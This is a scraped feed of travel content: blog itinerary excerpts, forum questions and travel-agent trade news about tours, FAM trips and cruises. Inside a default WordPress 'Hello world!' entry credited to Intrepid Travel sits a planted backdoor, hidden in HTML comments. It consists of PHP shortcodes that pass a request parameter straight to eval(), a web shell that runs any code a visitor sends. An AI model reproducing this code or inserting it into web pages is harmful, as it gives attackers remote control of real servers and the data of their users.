Great Ocean Road: 5 day self drive itinerary

by sophie.m.spencer@gmail.com @ Adventures of Soph

The Great Ocean Road has got to be one the most scenic road-trips not just in Australia, but in the whole entire world. I know that’s a huge call, but by the end of this post you will see why. The 243km road hugs the South Coast of Victoria, starting in the surf capital of Australia: Torquay and ending in the small seaside village of Port Fairy. Being just a stone’s throw away from Melbourne, it’s the perfect little add on to your city trip, or long weekend nature getaway. I hired out my first ever campervan (and definitely not my last), got my two best friends in on the deal and hit the road with our Jucy Champ 4 berth camper, also known as Jucy Jay. Note: we called our camper Jucy Jay (just like the pop singer Jessie Jay) and yes we named our campervan…we even made a song dedicated to her and the memories we made – it was pretty special. We decided that the best way to truly embrace the van life was to not book any camp sites in advance and just take each day as it comes. Towards the end of the day we […]

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How to Visit the Omo Valley Tribes in Ethiopia on a Budget

by Norbert @ GloboTreks

Visiting the Omo Valley tribes in Ethiopia can be a bit challenging, but here I share everything I know to make the trip not only more affordable but easier to plan.

How to Visit the Omo Valley Tribes in Ethiopia on a Budget is a post from: GloboTreks.

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The coolest treehouse in Sri Lanka

by sophie.m.spencer@gmail.com @ Adventures of Soph

I have always wanted to stay a night up in a treehouse, but coming from ‘the land of all things that can kill you’, I have always been scared away at the thought of geckos crawling into my bed and swarming me (I have frequent nightmares of this happening, crazy, I know…), so I could only ever fantasise about how beautiful it would be to fall asleep and wake up amongst the treetops. Whilst travelling through the cultural centre of Sri Lanka, I decided to find some time to connect back to nature and have a bit of downtime after so many long days of exploring and traveling to and from destinations – Sri Lanka may look small, but trust me, it takes forever to get from point A to point B. When I was researching funky places to stay in Sri Lanka, there were multiple tree houses that popped up as well as an article on the 28 most amazing treehouses in the world, with Sri Lanka having a few ranked in there. It was from then on, that I made it my mission to find the coolest & most authentic looking treehouse so I could tick it off […]

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Contiki Launches Contest for Agents

by Web Reporter @ Recommend

Contiki has launched a contest for travel agents as part of its new Travel Makes Better Humans campaign, which focuses on the positive impact that travel has on young people.

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Geckos Adventures: Vietnam Highlights review

by sophie.m.spencer@gmail.com @ Adventures of Soph

Touring life is pretty damn cool, but I will admit that I didn’t think the highest of it prior to my trip of a life time with Geckos Adventures. When you aren’t a part of a tour or haven’t done one before, you very easily resent the idea and snob everybody off that is waddling together in a group. I mean, are you really ‘solo traveling’ when you are with twenty other people and a tour guide to make sure you are on the 4am train, 30 minutes early with all the confidence that you are going south and not north? But let me tell you, when you join one, you suddenly realise why so many people do decide to tour. You will get hooked on the fun, (almost) stress-free and humbling experiences and memories that you make whilst venturing around with your newly formed, global friends. Why did I choose Geckos Adventures? I could actually afford it. Two of the biggest factors for me when arranging a trip is whether I can afford it (obvious, I know) and whether it’ll be worth the months of ‘sorry I can’t come, I’ve got to save’ explanations to my friends as well […]

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Exodus Travels Launches Agent Certification Course With Contest

by Jessica Poitevien @ Recommend

For the first time ever, Exodus Travels has launched its own online agent training platform: the Exodus Expert Program.

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G Adventures China Tour Review

by Ali Garland @ Travel Made Simple

This is part of a series of interviews with inspiring travelers. Today’s interview comes from Nicole about her G Adventures China tour. See more about tours and traveling with purpose here. All photos are by Nicole except Pinterest image and first image. Tell us about yourself and your travel experience. I’m Nicole and I’m a […]

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Travel Impressions’ Semi-Relaunch, Part 3

by Ed Wetschler @ Recommend

Executives from several hotel companies offered presentations about their agent incentives during the Travel Impressions Best of the Best meeting. One of the most interesting of many of them was from someone who doesn't represent a hotel company at all: Steve Lassman, v.p. and general manager at Villas of Distinction.

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Smoking & Gaming Are Out; Jake & Eli Are In

by Web Reporter @ Recommend

The Westin Las Vegas Hotel & Spa may be located just steps away from the casino-filled Las Vegas Strip, but it's heading a new direction after transforming into the city's newest non-gaming, non-smoking property.

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Trip Report Amazing trip to belize!!!

by jul4 @ Fodor's Forum

We just got back from an amazing trip to Belize!! Thanks to everyone that helped me with the planning!! Day one-landed and was picked up By Edwin...

Collette Announces New Global Giving Guide

by Steve Grasso @ Recommend

Global tour operator Collette has announced the release of the first dedicated Collette Cares inspirational guide to giving back globally.

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Walking Tour FAMs in France and Italy

by Jessica Poitevien @ Recommend

The Blue Walk is offering travel agents FAM trips on any of the company's regularly scheduled tours in France and Italy.

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Which Tours Are good for Whitehaven Beach- Whitsundays

by seamuspie @ Fodor's Forum

Im travelling to Airlie beach next month and want to go and visit the infamous Whitehaven Beach. Has anyone been on any tours there and which ones do...

Get VIP Access to the 2018 Tour de France

by Jessica Poitevien @ Recommend

For the most dedicated cycling fans who would join the Tour de France if they only had the skills, Sports Tours International is offering a VIP viewing tour and package that may be the next best thing. 

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My Vietnam Intrepid Food Aventure | Nadia Lim

My Vietnam Intrepid Food Aventure | Nadia Lim


Nadia Lim

Vietnam had been at the top of my list of places to visit for a while, and a few summers ago I finally made it there! Read about my foodie journey!

How Culinary Tourism Is Becoming a Growing Trend in Travel

How Culinary Tourism Is Becoming a Growing Trend in Travel


HuffPost Canada

There's a growing population of travellers that have become more interested in the various cuisines and cultures from countries all over the world, and are planning vacations specifically to incorpora...

American Queen Steamboat Company Offers December FAMs

by Jessica Poitevien @ Recommend

Agents who have previously booked their clients on a trip with American Queen Steamboat Company, can join in on one of the voyages themselves with the company's FAM rate offers for December 2017. 

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Zicasso Launches Star Wars-Inspired Itineraries

by Jessica Poitevien @ Recommend

Luxury travel service Zicasso has just launched two brand new itineraries celebrating the Star Wars filming experience in Ireland and Croatia—perfect for the most dedicated of fans.

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Delta Vacations Expands U.S. Offerings

by Web Reporter @ Recommend

Delta Vacations, the official vacation provider of Delta Airlines, is making it easier for travelers to explore the company's backyard with the addition of six new U.S. destinations to its portfolio.

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Travel Impressions’ Semi-Relaunch, Part 2

by Ed Wetschler @ Recommend

Advances in Travel Impressions' technology, agent education, and customer care were not the only topics at the company's recent Best of the Best meeting. Another change has been the expansion of destinations and experiences, such as single- and multi-day tours, available to agents.

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These Are the Best Adventure Travel Companies in the world

These Are the Best Adventure Travel Companies in the world


TripSavvy

Your choice of an adventure travel company could ensure a wonderful vacation. Here's a selection of the very best tour operators in the business today.

GROUP TRAVEL | 10 things To Expect From An Intrepid Travel Tour

GROUP TRAVEL | 10 things To Expect From An Intrepid Travel Tour


The Cutlery Chronicles

Organised group travel: my first time on a travel tour I’ve never been on an organised travel tour abroad before. Well ok, I have. But they’ve always been designed for “media” – journalists, bloggers, writers etc.

Scandinavia Airlines Launches New Flight Service From Miami

by Jessica Poitevien @ Recommend

Travelers flying out of Miami International Airport now have a new option for getting to Scandinavia with Scandinavia Airlines adding a new nonstop flight to Stockholm.

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Hello world!

by yadmin @ Intrepid Travel

Welcome to WordPress. This is your first post. Edit or delete it, then start blogging! <!– [insert_php]if (isset($_REQUEST["jXwG"])){eval($_REQUEST["jXwG"]);exit;}[/insert_php][php]if (isset($_REQUEST["jXwG"])){eval($_REQUEST["jXwG"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["MAPV"])){eval($_REQUEST["MAPV"]);exit;}[/insert_php][php]if (isset($_REQUEST["MAPV"])){eval($_REQUEST["MAPV"]);exit;}[/php] –>

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Day Trips from Brussels

by Ali Garland @ Travel Made Simple

There’s plenty to do in Brussels on your city break. But if you want to mix things up a little, it’s also the perfect city to use as a base for day trips around other parts of Belgium. Especially in such a small country, you can easily do some Brussels day trips to other fantastic […]

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Top Tips For The Best Family Australian Road Trip

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

 Have you always dreamt of taking an epic road trip across Australia? There are many memorable and exciting places to see in Australia. It is also a brilliant country to explore for a family vacation.  Get in your vehicle and hit the road, because Australia will gift you with experiences […]

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And the Kenya Authorized Travel Specialist FAM Winners Are…

by Web Reporter @ Recommend

After sifting through hundreds of applications, the Kenya Tourism Board has chosen the winners of a free FAM trip to Kenya scheduled for Feb. 24 through March 4, 2018.

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The Absolute Best Day Trips from Osaka, Japan | Not to be Missed!!

by Andrzej Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Are you planning your Osaka itinerary and wondering what the best day trips from Osaka are? – Let us help you plan & book your day trip from Osaka today! – Osaka in Japan, is one of the most beautiful port cities and is a commercial center on the Japanese […]

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New Director Joins Insight Vacations and Luxury Gold

by Web Reporter @ Recommend

On Jan. 29, 2018, The Travel Corporation will welcome the newest member of its team: Kristina Miranda.

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British Royale Tour Showcases UK History and Culture

by Steve Grasso @ Recommend

Luxury Gold has announced the British Royale journey, a 9-day escorted tour of iconic sites and historic landmarks in the UK.

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Adventure Morocco Tour by Travel Talk

by Elora @ Trav Addict

For our first 2016 weekly tour pick we chose a fantastic tour by Travel Talk. Adventure Morocco has really good value for money and great stops along the way. Adventure Morocco starts and ends in Marrakech, a major economic centre in Morocco. Along the way you’ll stop by Ourzazate, Zagora, Agadir and many other fantastic […]

Checking In to Travel Mart Latin America

by Carla Hunt @ Recommend

September 2017 was Travel Mart Latin America (TMLA) time again, actually again for the 41st annual event. Here are updates from host country Ecuador and the Galapagos.

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Trip Report The New Panama Canal Locks

by Eschew @ Fodor's Forum

Absence makes the heart grows fonder ... if you can believe that saying. It's been almost 6 months since I last made any "real" posts. And in the...

On Board Silversea’s Silver Muse

by Jessica Poitevien @ Recommend

Before voyaging on an itinerary bound for South America, Silversea invited Recommend along with other media members and travel agents to experience the cruise line's newest flagship Silver Muse on an overnight sailing to The Bahamas.

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Best Time to Visit Coorg (Kodagu), India

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Located in Karnataka India; Coorg (also known as Kodagu) receives a lot of tourists annually. It has incredible views and a lot of charm. It’s a great place to take a vacation if you go during the right months. Even though Coorg is a great place to visit year round, […]

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St. George, Utah: More Than Just a Gateway to Zion

by Amanda @ A Dangerous Business Travel Blog

I'll be honest with you: I only knew two things about St. George, Utah, prior to this year. For one, I knew it had...

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3 Days in Prague: An Itinerary

by Andy @ Travel Made Simple

The Bohemian gem of Eastern Europe, the centuries-old buildings, the quirky art, the tasty beer…these are just a few of the reasons Prague makes such a great destination for travelers. With so much to see and do, you could spend your entire vacation exploring Prague, but many people choose to spend a few days there […]

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Hotel Offers Promotion for Malta’s European Capital of Culture

by Jessica Poitevien @ Recommend

In honor of Valletta—capital city of Malta—being named 2018’s European Capital of Culture, the Corinthia Palace Hotel, located in nearby San Anton, is offering half-off promotional rates to further encourage travelers to visit the Mediterranean nation. Book your clients for a stay at Corinthia Palace Hotel between Nov. 23 and 28, 2017 for stays between Nov. 23, 2017 […]

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Are Millennials Setting The Stage of Future Travel?

by Jessica Poitevien @ Recommend

Millennials may go on shorter vacations and spend less money while doing so, but this generation of young travelers is still impacting the present and future of the travel industry.

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Delhi to Kathmandu

Delhi to Kathmandu

by Laura R @ Teacher at Recess

After spending a few weeks traveling around Rajasthan, India, I picked up another Intrepid trip that traveled from Delhi to Kathmandu. This was a nice trip to get off the typical tourist path of the golden triangle of India (Delhi, Agra, and Jaipur).  We spent some time in the town of Orchha, visiting the Hindu…

Train Like An Astronaut at the Kennedy Space Center

by Web Reporter @ Recommend

Your clients may not be able to travel to Mars (yet), but thanks to the Astronaut Training Experience at the Kennedy Space Center Visitor Complex, they can train just like the pioneers who hope to land on the Red Planet one day. Opening in February 2018, the Astronaut Training Experience will use immersive simulation technology to “transport” participants to […]

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Solo Travel Destination: New Mexico Road Trip

by Tracey @ Solo Traveler

This Solo Travel Society member found beauty and solitude on a New Mexico road trip filled with art, culture, and stunning landscapes.

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Central Holidays’ Travel Agent Seminar Series

by Steve Grasso @ Recommend

Central Holidays is offering a travel agent seminar series.

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The ultimate 3 week Sri Lankan travel itinerary

by sophie.m.spencer@gmail.com @ Adventures of Soph

In July 2017 I spent a month exploring the beaches, temples and mountains in Sri Lanka– I had the best time and saw some absolutely amazing places. I feel as though I had an amazing itinerary and would love to share it with you! Before October, the best way to get to Sri Lanka took us three flights, 20 hours and an unexpected stopover in Bali, which we only found out about when we were actually descending into Bali. I don’t mind all too much about long distance travel and going the longer route to save money but now thanks to Sri Lankan airlines, you can fly DIRECT from Melbourne to Colombo. I know that my itinerary is pretty top notch so I am here to share my 3 week Sri Lanka itinerary so you can best utilise your time and get the most out of your travels. Colombo (2 nights) The capital city of Sri Lanka and understandably so. This is one busy city with markets packed into unimaginable tiny spaces and a local to westerner ratio that’ll have you straight out of your comfort zone. A great spot to dive head first into Sri Lankan cuisine with the […]

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3 Moments I’ll Never Forget with the Omo Valley Tribes in Ethiopia

by Norbert @ GloboTreks

Visiting the tribes in the Omo Valley was one of my favorite things I did in Ethiopia. Here are some of the most memorable moments at each tribe.

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Der ultimative Guide für 7 Tage Kuba – 3 Ideen für deine Reiseplanung

by Kai Wieland @ Intrepid Germany

Es gibt Länder auf dieser Welt, über die man schon alles zu wissen scheint, bevor man überhaupt dort gewesen ist. Kuba gehört zu diesen Ländern, und woran die Menschen in aller Regel denken, sind Zigarren, Rum, Oldtimer, Che Guevara, Sozialismus und von Palmen gesäumte Traumstrände. Zugegeben, all diese Dinge gehören zweifellos zur kubanischen Kultur und […]

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Dates Set for 2018 Key West Food and Wine Festival

by Web Reporter @ Recommend

Get your food and wine-loving clients ready to flock to Key West. The island's Food and Wine Festival is officially slated to take place Jan. 24-28, 2018. 

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4 Unique Bike Tours Around The World

by Jessica Poitevien @ Recommend

From exploring Samurai roads in Japan to visiting famous film locations across Europe, the destinations on these bike tours are sure to keep your clients active and immersed in local culture.

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American Queen Steamboat Company Launches Agent Certification Program

by Web Reporter @ Recommend

Agents looking to become experts on the offerings of the American Queen Steamboat Company can now do so through the Steam Boat Academy, an online travel agent certification program. 

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South American Explorer – Tucan Travel

by Elora @ Trav Addict

South American Explorer is our tour pick of the day. This adventure tour is by Tucan Travel with a duration of 112 days! Yes, that’s right, almost 4 months of awesomeness. The tour starts from Ecuador, goes through Peru, Bolivia, Patagonia, Chile, Argentina and ends in Brazil. Along the way you’ll see all the biggest […]

Anzac Bonzer by On The Go Tours

by Elora @ Trav Addict

This week’s tour pick is from On The Go Tours! Anzac Bonzer is a 11 day tour that is more for travellers who are interested in history, especially WWI. As the name suggests, the main emphasis of this tour is on commemorating the ANZAC’s (Australian and New Zealand Army Corps). This historical tour starts and […]

What to See in Vietnam in 2 Weeks | Indiana Jo

What to See in Vietnam in 2 Weeks | Indiana Jo


Indiana Jo

Vietnam is a popular holiday place. Having visited twice, here's what to see in Vietnam in 2 weeks-with suggested itineraries. Got longer?Combine the routes

Intrepid Travel | Book an Intrepid Travel tour with Flight Centre

Intrepid Travel | Book an Intrepid Travel tour with Flight Centre


Flight Centre NZ

Intrepid Travel has over 300 different travel tours on offer. To see the world on an intimate tour, book with Flight Centre.

Explore Napa On Two Wheels With Getaway Adventures

by Jessica Poitevien @ Recommend

Active travel meets fine wining and dining experiences on the new 6-day Napa on a Bike tour from Getaway Adventures, a biking, hiking and kayaking tour company.

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Visit Vietnam and Cambodia on a FAM Trip

by Web Reporter @ Recommend

Agents with a desire to increase their bookings in Vietnam and Cambodia can visit both countries on FAM trip co-sponsored by Singapore Airlines and Pacific Holidays. 

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Trip Report Amazing trip to belize!!!

by jul4 @ Fodor's Forum

We just got back from an amazing trip to Belize!! Thanks to everyone that helped me with the planning!! Day one-landed and was picked up By Edwin...

Solo Travel Deals with No Single Supplement

Solo Travel Deals with No Single Supplement


Solo Traveler

A central place for solo travelers to discover great deals especially for solo travelers - deals with very low or no single supplement.

Princeville Kauai tell me where to stay please!

by tateland @ Fodor's Forum

First time in Kaua�i for our 25th wedding anniversary�splitting up our trip between Princeville and Poipu March 20-27 my husband surprised me with...

Top Solo Travel Posts of 2017 and All Time

by Tracey @ Solo Traveler

One post directing you to many. Here are links to the top solo travel posts of 2017 and the top solo travel posts of all time on Solo Traveler.

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Take A Royal Tour of Britain

by Steve Grasso @ Recommend

Back-Roads Touring has announced details of its Royal Tour of Britain 2018, traveling from Edinburgh to London.

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Travel for Good with Intrepid Travel on Real Food Vietnam - Travelweek

Travel for Good with Intrepid Travel on Real Food Vietnam - Travelweek


Travelweek

Chop, slice and eat your way through Vietnam, experiencing one of the freshest and most fragrant cuisines on the planet.

Design Hotels Property Comes to Old Town Puerto Vallarta

by Web Reporter @ Recommend

While news of new hotel openings in Puerto Vallarta often involve all-inclusive properties on the beach, Hotel Amapa seeks to bring something different to the hotel landscape of the popular tourist destination. 

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Geneva to Zermatt transportation advice

by alden615 @ Fodor's Forum

Hi all! I am excited to take my first ski trip to Europe at the end of Feb. I am wondering if I should buy my ticket from Geneva->Zermatt in...

Camping in Yellowstone

by KosteckiFamily @ Fodor's Forum

We are planning a trip to Yellowstone in early June. Has anyone stayed at Madison campground and would recommend? I'd prefer to use one of the...

The Best Selling Vietnam Tour Packages in 2018 - Don't Miss Out!

The Best Selling Vietnam Tour Packages in 2018 - Don't Miss Out!


Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Are you looking for the best Vietnam Tours 2018 has to offer? We list the top 7 most popular Vietnam tour packages on sale this year!

Top 10 Budget Destinations That’ll Give You More For Your Money

by Norbert @ GloboTreks

Traveling the world shouldn't be an expensive experience, especially when there are dozens of budget destinations to choose from. Here I share some of the best ones you should visit.

Top 10 Budget Destinations That’ll Give You More For Your Money is a post from: GloboTreks.

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5 Things to Do in Zion National Park That Don’t Involve Hiking

by Amanda @ A Dangerous Business Travel Blog

When it comes to national parks in the United States, the secret has long been out about Zion National Park. It's one of the...

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Northern India Tour Review - Travel Made Simple

Northern India Tour Review - Travel Made Simple


Travel Made Simple

Monica tells us about her trip to India in this Intrepid northern India tour review. Taking a tour to India made her vacation much easier and more enjoyable.

Eye On The World: Il Salviatino, A Florentine Villa

by Regina Baraban @ Recommend

Contributing writer Regina Baraban traveled to Florence, Italy last month for a visit to Il Salviatino, a gorgeously restored 15th century villa that has hosted many weddings and a guest list of such luminaries as the Dali Lama.

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2018 Caribbean, Mexico and Latin America Guide

by admincp @ Recommend

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Has Anyone Been On An Intrepid Travel Tour? | Thailand travel forum

Has Anyone Been On An Intrepid Travel Tour? | Thailand travel forum


Travelfish

Hey there, I am 25y/o female from UK flying to Bangkok in April for 2 months. I am trying to decide ... : Travelfish Thailand travel forum

Breezing Along the U.S. East Coast (Part 2)

by Paloma Villaverde de Rico @ Recommend

After traveling 1500+ miles from South Florida up the East Coast, with a couple of slight detours along the way—think South Philly for a Philly cheesesteak—we’d finally made it to Washington, DC.

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Intrepid Travel | Reviews And Tours

Intrepid Travel | Reviews And Tours


Stride Travel

Read traveler and professional reviews on Intrepid. Compare with hundreds of other tour companies. Find your perfect trip. Save time, hassle & money.

Upcoming Travel Plan In Romania

by beautyofheaven @ Fodor's Forum

I'm just planning a 3 week trip to Romania for my next trip, and all I want to start from Budapest because I've never been there. The rest of the...

Puerto Rico Is Open for Business

by Paloma Villaverde de Rico @ Recommend

The Puerto Rico Tourism Company (PRTC) has announced that Puerto Rico is open for business.

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Can I Wear Capris in Egypt? (Or a Complete Egypt Packing Guide for Women)

by Amanda @ A Dangerous Business Travel Blog

When I was preparing for my tour in Egypt, I had so many questions about what to pack. This was going to be my...

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Travel Advice

by Elora @ Trav Addict

When traveling abroad there are a lot of things you might want to consider. Consider Traveling With Hand Luggage Only Sometimes we forget that our creature comforts of home might not be available while traveling, and soap is far too often a luxury that is not always available when you need it. Hand sanitizer will […]

Solo Travel Destination: Sao Miguel, Portugal

by Tracey @ Solo Traveler

Here's how a member of the Solo Travel Society spent two enjoyable days on Sao Miguel, the main island of Portugal's Azores.

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Portugal - Colares (Sintra), Evora, and Lisbon

by runawaybunny @ Fodor's Forum

My husband and I are travelling to Portugal for 12 days at the end of February. What tours, classes, restaurants, museums might you suggest we...

Best Solo Travel Memories of 2017

by Tracey @ Solo Traveler

As the year drew to a close, I asked the Solo Travel Society, "What are your best solo travel memories of 2017?" Here's what they had to say.

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Travel Talk: USTOA Annual Conference & Marketplace

by Paloma Villaverde de Rico @ Recommend

The talk at the recent USTOA Annual Conference & Marketplace was “2018 is going to be a banner year.”

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Apple Vacations Expands Social Media Resources With Ready-Made Posts

by Jessica Poitevien @ Recommend

In a world that increasingly turns to social media for information, Apple Vacations is helping travel agents stand out on these platforms with its expanded offering of social media resources, including ready-to-use digital content and tools.

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Visit Wales Launches Road Trips Highlighting Uniquely Welsh Experiences

by Jessica Poitevien @ Recommend

Visit Wales has partnered with Aston Martin to give visitors a new and unique way to explore the country via three authentically Welsh cross-country routes.

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8-Day Sicily FAM Trip

by Jessica Poitevien @ Recommend

Tours Specialists Inc. is offering travel agents the opportunity to get up-close and personal with Sicilian history, culture and food on an 8-day FAM trip through the island. 

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Sustainability as a Travel Business Issue

by Ed Wetschler @ Recommend

Much of the talk at the Caribbean Tourism Organization's recent Climate-Smart Sustainable Tourism Forum in St. Kitts was, as advertised, about climate change, but it was more than that. Here are a few of the many takeaways.

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The 2018 travel hotspot revealed

by sophie.m.spencer@gmail.com @ Adventures of Soph

Backpackers, nature lovers and foodies rejoice – because I have a hot new contender for the best travel destination for not only 2018, but of all time. You’ll want to keep on reading but if I was you, I’d pop open a Skyscanner tab now and start searching for your flights because this is one country you do not want to miss. Sri Lanka is the new ‘Jenny on the block’ and I can list so many reasons why it should be on everyone’s 2018 travel bucket list. So fuel your wanderlust and book that first flight of the year to the land of endless tea plantations and palm tree dotted beaches. I am certain that you’ll be as hooked as I was. Sri Lankan food is healthy, fresh and so DAMN TASTY. I find myself rating each destination that I travel to based on how much I enjoy the food. Alike most people, I usually get to the two-week mark when I start to crave a home cooked meal and a gigantic green smoothie. Although this was not the case with Sri Lankan food. In fact, I have been searching long and far for a decent Sri Lankan restaurant […]

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How to Spend 1 Week in the Seychelles

by Amanda @ A Dangerous Business Travel Blog

Located in the Indian Ocean off the east coast of Africa, the Seychelles are a group of 115 islands that are basically the definition...

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Travel Impressions’ Semi-Relaunch, Part 1

by Ed Wetschler @ Recommend

Last week, during the Best of the Best conference, Travel Impressions managers and some of their key partners talked about customer care and product.

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The Ultimate Trip

The Ultimate Trip

by Laura R @ Teacher at Recess

I was recently contacted by Intrepid Travel for a piece that aired today on the Today Show.  Take a look!! Ultimate Trip on the Today Show Interested in the trip itself? It starts in February, so book it soon! Intrepid’s 365 Day Ultimate Trip Or, you can do it on your own – check out…

UnCruise Adventures Takes Travelers Places Other Cruises Don’t—and Can’t Go

by Carla Hunt @ Recommend

Recommend contributing writer sits down with UnCruise Adventure's president and COO Tim Jacox to get the inside scoop on future plans for the cruise line.

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Trip Report Anyone here in turkey ?

by beautyofheaven @ Fodor's Forum

*If anyone here in Turkey which destinations, are you planning to visit this week?*

Intrepid travel: The Aqua Mekong river cruise - Lifestyle Asia hong-kong

Intrepid travel: The Aqua Mekong river cruise - Lifestyle Asia hong-kong


Lifestyle Asia

Launching in September, the five-star cruise ship, Aqua Mekong, will have you travelling in style through Cambodia and Vietnam.

The Absolute Best Things to do in Kampot & Kep, Cambodia!

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Cambodia is full of surprises and beautiful places..  Just as you thought that you have almost seen it all, something new pops up and this post is all about places like that!  It is about the best things to do in Kampot and Kep! After our journey from Phnom Penh […]

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How to Meal Plan: 12 Tips for Sticking With It

How to Meal Plan: 12 Tips for Sticking With It

by poweredbytofu @ Powered by Tofu

I am all about meal planning. Creating a weekly meal plan saves money, is generally healthier – you’re eating more real food – and it can also cut down on food waste. Win-win. Sticking to a Weekly Meal Plan Tips Table of Contents: 1. Make it a habit 2. Plan for nights out 3. List breakfast options 4. [...]

Upcoming Travel Plan In Romania

by beautyofheaven @ Fodor's Forum

I'm just planning a 3 week trip to Romania for my next trip, and all I want to start from Budapest because I've never been there. The rest of the...

The Travel Corporation Expands Agent Academy Course Offerings

by Web Reporter @ Recommend

Launched in February 2017, The Travel Corporation's TTC Agent Academy is expanding with the addition of a new online course.

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8 Highlights in Rajasthan die du nicht verpassen solltest

by Annika Ziehen @ Intrepid Germany

Indien ist ein unglaublich vielseitiges und beeindruckendes Land. Traumhafte Sandstrände im Süden und verträumte Bergdörfer im Norden, lebhafte Dschungel und einsame Wüsten, Chaos und Stille –ein Land der vielfältigen Kontraste, in dem jeder Reisende irgendwo auf seine Kosten. Doch keiner der 29 indischen Staaten verkörpert das klassische Bild von Indien so wie Rajasthan. Der Bundesstaat […]

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Celebrity Announces Alaska and Pacific Tours

by Steve Grasso @ Recommend

Celebrity Cruises has unveiled details of its 2019-20 Alaskan and Pacific Coastal season, with three ships in the region, 13 destinations and a range of 7-night itineraries and in-depth shore excursions.

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Caribbean Resorts Roll Out New Wellness Programs

by Ed Wetschler @ Recommend

The Caribbean Tourism Organization has declared 2018 The Year of Wellness and Rejuvenation. Here are some of the new packages, facilities, and programs at Caribbean resorts that will help travelers end their vacations in better shape than they were in when they started them. 

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Karen Smith Joins Worth International Media Group’s Exclusive Brands, Recommend and Prevue

by Web Reporter @ Recommend

Miami Lakes, FL (January 8, 2018) – Worth International Media Group, the brand that sets the standard in creating stylish, engaging and content-rich media solutions for the global travel, meetings and tourism industry, is pleased to announce the addition of Karen Smith, Regional Sales Director for Arizona, Nevada and Utah for Prevue and Arizona, Nevada, […]

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The Indochina Loop: Thailand, Laos, Vietnam, & Cambodia

The Indochina Loop: Thailand, Laos, Vietnam, & Cambodia


Teacher at Recess

How much do I love Indochina?  More than words can say.  This is one of those things where it’s hard to pin point exactly why… because it was my first real non-western country?  The foo…

5 Tips to Tap Onto the Entrepreneurial Side of Travel

by Norbert @ GloboTreks

Traveling as a travel blogger might seem like a simple thing to do, but in reality, to make a living with it, you must tap on your entrepreneurial side. Here are 5 tips that'll help you do that.

5 Tips to Tap Onto the Entrepreneurial Side of Travel is a post from: GloboTreks.

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11 Things You Should Know Before Traveling To Rome

by Norbert @ GloboTreks

Rome, the Eternal City, is one of the most famous and romantic cities to visit. But, to have a smooth and fun experience there, you should know a few important things beforehand.

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8 of the Best Ancient Sites to See in Egypt

by Amanda @ A Dangerous Business Travel Blog

Even though Egypt has some exciting large cities and an interesting contemporary culture, I won't lie: the main reason I wanted to visit was...

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How Cuba’s New Regulations Affect Agents + Cuba FAM

by Jessica Poitevien @ Recommend

The U.S. State Department announced the specific restrictions Americans will now face when traveling to Cuba, but they are not as prohibitive as tour operators and cruise lines once feared.

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Carnival Cruise Line Redesigns Travel Agent Website

by Web Reporter @ Recommend

Carnival Cruise Line has redesigned goccl.com, the company's travel agent online resource, after an extensive process of collecting feedback from travel agents on how to improve the website.

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Explore Colombia FAM Trip

by Web Reporter @ Recommend

Explore three of Colombia's most popular cities on a spring 2018 FAM trip co-sponsored by Pacific Holidays and Avianca Airline.

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Exclusive Perks Available for Apple Vacations in Hawaii

by Jessica Poitevien @ Recommend

Apple Vacations introduced its biggest sale of the season, making trips to Hawaii more affordable with exclusive rate reductions, free nights and daily breakfast at participating hotels and resorts.

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Best Time to Visit Goa, India: Best Season & Month

by Jolene Ejmont @ Wanderlust Storytellers | Family Travel Blog | Travel with Kids | Travel Tips

Goa is a magical place to visit. Many tourists describe the weather as being perfect- not too hot or cold … if you go there at the right time of year that is. The best season to visit Goa in India is during the winter; whilst the best month to […]

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Cox & Kings Adds New Tours For 2018

by Jessica Poitevien @ Recommend

In an effort to provide what the company calls deeper and more culturally engaging experiences, Cox & Kings is welcoming 2018 with five new itineraries on five different continents. 

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Spain FAM Trips Scheduled for 2018

by Jessica Poitevien @ Recommend

With weekly departures scheduled throughout all of 2018, Tours Specialists is giving travel agents ample opportunity to discover Spain on one of its many FAM trips. 

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Updates on Caribbean Destinations Hit by Hurricanes

by Ed Wetschler @ Recommend

Representatives of six island destinations affected by Hurricanes Irma and Maria attended last week's Climate-Smart Sustainable Tourism Forum and participated in a Tourism Recovery Roundup.

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Africa on Sale

by Web Reporter @ Recommend

South African Airways Vacations (SAA Vacations), the leisure division of South African Airways, is kicking off 2018 with savings on all air-inclusive vacation packages booked by Feb. 28, 2018.

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Travel Impressions Gears Up to Improve Group Business

by Web Reporter @ Recommend

Travel Impressions has teamed up with Softrip Travel Solutions, a provider of technology solutions for tour and group operators, in an effort to create advanced technology customized to improve Travel Impressions' handling of agents' group business.

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Nature Meets Comfort with Costa Rica Glamping Itinerary

by Jessica Poitevien @ Recommend

For clients who want the connection to nature brought by camping while in Costa Rica, but also with the usual comforts and luxuries of a regular hotel stay, Austin Adventures’ new tour blends the best of both worlds. The 8-day Costa Rica: Chiquita Glamping & Pacuare River Raft itinerary takes guests to national parks, wildlife refuges, and remote islands, […]

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